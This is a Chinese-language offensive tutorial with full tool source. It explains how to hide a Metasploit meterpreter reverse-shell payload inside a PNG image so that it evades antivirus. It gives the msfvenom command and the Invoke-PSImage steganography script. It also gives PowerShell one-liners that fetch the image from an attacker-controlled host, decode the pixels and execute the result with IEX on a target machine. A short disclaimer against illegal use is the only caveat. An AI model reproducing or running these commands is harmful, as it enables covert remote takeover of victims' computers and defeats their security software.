使用图片携带msf payload反弹绕过各种AV

#使用说明

1.先找一个高清大图片,四位数*四位数 那种以上的jpg或者png高清大图,命名为1.jpg ,低于四位数的高清大图会失败,一般图片大小,大于1M小于2M即可 。

2.使用msfvenom生成一个powershell的反弹的payload,一定要用64位的,32位的弹不出来
●msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=2333 -f psh-reflection > 1.ps1

3.使用Invoke-PSImage.ps1 把powershell 反弹的payload 压缩进高清大图里。
操作如下:打开cmd,并执行powershell,之后再顺序执行以下命令
●Import-Module .\Invoke-PSImage.ps1
●Invoke-PSImage -Script .\1.ps1 -Image .\1.jpg -Out .\web.png -Web
解:使用ps脚本把msf的payload压进1.jpg里面,并重新输出为为web.png,之后会在命令后界面生成一段payload,类似第4点中的那样,sal开头的payload。

4.之后把web.png 图片上传到服务器,可以下载就行,在目标机器上的powershell里执行如下命令即可实现反弹(以下payload根据生成每个都不同)

●sal a New-Object;Add-Type -AssemblyName "System.Drawing";$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://xxx.xxx.xxx.xxx/web.png"));$o=a Byte[] 5120;(0..1)|%{foreach($x in(0..2559)){$p=$g.GetPixel($x,$_);$o[$_*2560+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..2814]))

以上方法是使用powershell去服务器下载web.png图片,并执行其中的payload实现反弹。还有一个办法是直接上传图片到目标服务器里,然后在目标服务器里使用powershell包含图片路径,实现反弹,操作方式有点区别。上面的1,2步是相同的,第3步开始:

3” 区别是压payload进图片里的时候去掉 -Web 参数,操作如下:
打开cmd,并执行powershell,之后再顺序执行以下命令
●Import-Module .\Invoke-PSImage.ps1
●Invoke-PSImage -Script .\1.ps1 -Image .\1.jpg -Out .\web.png

4” 之后把web.png 图片上传到目标机器,记住路径,在目标机器上的powershell里执行如下命令即可实现反弹(以下payload根据生成每个都不同)

●sal a New-Object;Add-Type -AssemblyName "System.Drawing";$g=a System.Drawing.Bitmap("C:\文件绝对路径\web.png");$o=a Byte[] 5120;(0..1)|%{foreach($x in(0..2559)){$p=$g.GetPixel($x,$_);$o[$_*2560+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..2814]))

5.此类方法的主要实用性是用来过各种AV还是可以的。其他的…. 真鸡儿没觉得有啥。切勿用此方法做任何非法事情。(不管你听不听,反正我是认真说的)

以下是Invoke-PSImage.ps1 代码:

function Invoke-PSImage
{
<#
.SYNOPSIS

Embeds a PowerShell script in an image and generates a oneliner to execute it.
Author:  Barrett Adams (@peewpw)

.DESCRIPTION

Embeds a PowerShell script in an image by editing the least significant 4 bits of
2 color values (2 of RGB) in each pixel (for as many pixels as are needed for the payload).
Image quality will suffer as a result, but it still looks decent. The image is saved as a
PNG, and can be losslessly compressed without affecting the ability to execute the payload
as the data is stored in the colors themselves. It can accept most image types as input, but
output will always be a PNG because it needs to be lossless.

.PARAMETER Script

The path to the script to embed in the Image.

.PARAMETER Image

The image to embed the script in.

.PARAMETER Out

The file to save the resulting image to (image will be a PNG)

.PARAMETER Web

Output a command for reading the image from the web instead of reading from a file.
You will need to host the image and insert the URL into the command.

.EXAMPLE

PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Image .\kiwi.jpg -Out .\evil-kiwi.png
   [Oneliner to execute from a file]
   
#>

    [CmdletBinding()] Param (
        [Parameter(Position = 0, Mandatory = $True)]
        [String]
        $Script,
    
        [Parameter(Position = 1, Mandatory = $True)]
        [String]
        $Image,
    
        [Parameter(Position = 2, Mandatory = $True)]
        [String]
        $Out,

        [switch] $Web
    )
    # Stop if we hit an error instead of making more errors
    $ErrorActionPreference = "Stop"

    # Load some assemblies
    [void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")
    [void] [System.Reflection.Assembly]::LoadWithPartialName("System.Web")
    
    # Normalize paths beacuse powershell is sometimes bad with them.
    if (-Not [System.IO.Path]::IsPathRooted($Script)){
        $Script = [System.IO.Path]::GetFullPath((Join-Path (pwd) $Script))
    }
    if (-Not [System.IO.Path]::IsPathRooted($Image)){
        $Image = [System.IO.Path]::GetFullPath((Join-Path (pwd) $Image))
    }
    if (-Not [System.IO.Path]::IsPathRooted($Out)){
        $Out = [System.IO.Path]::GetFullPath((Join-Path (pwd) $Out))
    }
        
    # Read in the script
    $ScriptBlockString = [IO.File]::ReadAllText($Script)
    $input = [ScriptBlock]::Create($ScriptBlockString)
    $payload = [system.Text.Encoding]::ASCII.GetBytes($input)

    # Read the image into a bitmap
    $img = New-Object System.Drawing.Bitmap($Image)

    $width = $img.Size.Width
    $height = $img.Size.Height

    # Lock the bitmap in memory so it can be changed programmatically.
    $rect = New-Object System.Drawing.Rectangle(0, 0, $width, $height);
    $bmpData = $img.LockBits($rect, [System.Drawing.Imaging.ImageLockMode]::ReadWrite, $img.PixelFormat)
    $ptr = $bmpData.Scan0

    # Copy the RGB values to an array for easy modification
    $bytes  = [Math]::Abs($bmpData.Stride) * $img.Height
    $rgbValues = New-Object byte[] $bytes;
    [System.Runtime.InteropServices.Marshal]::Copy($ptr, $rgbValues, 0, $bytes);

    # Check that the payload fits in the image 
    if($bytes/2 -lt $payload.Length) {
        Write-Error "Image not large enough to contain payload!"
        $img.UnlockBits($bmpData)
        $img.Dispose()
        Break
    }

    # Generate a random string to use to fill other pixel info in the picture.
    # (Calling get-random everytime is too slow)
    $randstr = [System.Web.Security.Membership]::GeneratePassword(128,0)
    $randb = [system.Text.Encoding]::ASCII.GetBytes($randstr)
    
    # loop through the RGB array and copy the payload into it
    for ($counter = 0; $counter -lt ($rgbValues.Length)/3; $counter++) {
        if ($counter -lt $payload.Length){
            $paybyte1 = [math]::Floor($payload[$counter]/16)
            $paybyte2 = ($payload[$counter] -band 0x0f)
            $paybyte3 = ($randb[($counter+2)%109] -band 0x0f)
        } else {
            $paybyte1 = ($randb[$counter%113] -band 0x0f)
            $paybyte2 = ($randb[($counter+1)%67] -band 0x0f)
            $paybyte3 = ($randb[($counter+2)%109] -band 0x0f)
        }
        $rgbValues[($counter*3)] = ($rgbValues[($counter*3)] -band 0xf0) -bor $paybyte1
        $rgbValues[($counter*3+1)] = ($rgbValues[($counter*3+1)] -band 0xf0) -bor $paybyte2
        $rgbValues[($counter*3+2)] = ($rgbValues[($counter*3+2)] -band 0xf0) -bor $paybyte3
    }

    # Copy the array of RGB values back to the bitmap
    [System.Runtime.InteropServices.Marshal]::Copy($rgbValues, 0, $ptr, $bytes)
    $img.UnlockBits($bmpData)

    # Write the image to a file
    $img.Save($Out, [System.Drawing.Imaging.ImageFormat]::Png)
    $img.Dispose()
    
    # Get a bunch of numbers we need to use in the oneliner
    $rows = [math]::Ceiling($payload.Length/$width)
    $array = ($rows*$width)
    $lrows = ($rows-1)
    $lwidth = ($width-1)
    $lpayload = ($payload.Length-1)

    if($web) {
        $pscmd = "sal a New-Object;Add-Type -AssemblyName `"System.Drawing`";`$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead(`"http://example.com/evil.png`"));`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B-band15)*16)-bor(`$p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
    }
    else {
        $pscmd = "sal a New-Object;Add-Type -AssemblyName `"System.Drawing`";`$g=a System.Drawing.Bitmap(`"$Out`");`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B-band15)*16)-bor(`$p.G-band15))}};`$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
    }

    return $pscmd
}